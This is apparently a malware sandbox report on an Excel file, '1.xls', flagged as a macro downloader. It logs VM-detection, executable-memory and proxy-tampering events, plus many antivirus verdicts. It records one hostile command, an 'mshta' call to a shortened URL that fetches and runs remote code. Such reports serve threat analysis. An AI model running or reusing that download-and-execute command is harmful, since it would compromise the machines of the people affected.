1.xls

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 28, 2021, 9:27 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (5 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 28, 2021, 9:27 a.m.	process_identifier: 2500 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6af73000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 28, 2021, 9:27 a.m.	process_identifier: 2500 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007a1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 28, 2021, 9:27 a.m.	process_identifier: 2500 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007a1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 28, 2021, 9:27 a.m.	process_identifier: 2000 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70432000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 28, 2021, 9:27 a.m.	process_identifier: 2000 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6af73000 process_handle: 0xffffffff	1	0	0

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$1.xls

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile Oct. 28, 2021, 9:27 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x0000040c filepath: C:\Users\test22\AppData\Local\Temp\~$1.xls desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$1.xls create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Creates a suspicious process (1 event)

cmdline

mshta https://www.bitly.com/kddjkodwkwdokdwi

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Oct. 28, 2021, 9:27 a.m.	key_handle: 0x000002e4 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

Modifies proxy override settings possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Oct. 28, 2021, 9:27 a.m.	key_handle: 0x000002e4 regkey_r: ProxyOverride reg_type: 1 (REG_SZ) value: 127.0.0.1:16107; regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride	1	0	0

One or more non-whitelisted processes were created (1 event)

parent_process

excel.exe

martian_process

mshta https://www.bitly.com/kddjkodwkwdokdwi

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Lionic	Trojan.MSOffice.SLoad.a!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37870613
McAfee	RDN/Generic Downloader.x
Cyren	X97M/Downldr
Symantec	CL.Downloader!gen87
ESET-NOD32	a variant of Generik.GCDOHAC
Avast	SNH:Script [Dropper]
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Trojan.GenericKD.37870613
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi
Tencent	Mac.Trojan.Macrov.Pfte
Ad-Aware	Trojan.GenericKD.37870613
McAfee-GW-Edition	BehavesLike.Downloader.nc
FireEye	Trojan.GenericKD.37870613
Emsisoft	Trojan.GenericKD.37870613 (B)
Ikarus	Win32.SuspectCrc
GData	Macro.Trojan.Agent.IZNZ5A
Avira	HEUR/Macro.Downloader.MRKI.Gen
Microsoft	TrojanDownloader:O97M/Obfuse.PLM!MTB
ZoneAlarm	HEUR:Trojan-Downloader.MSOffice.SLoad.gen
Cynet	Malicious (score: 99)
MAX	malware (ai score=89)
Fortinet	VBA/Dloader.MRKI!tr
AVG	SNH:Script [Dropper]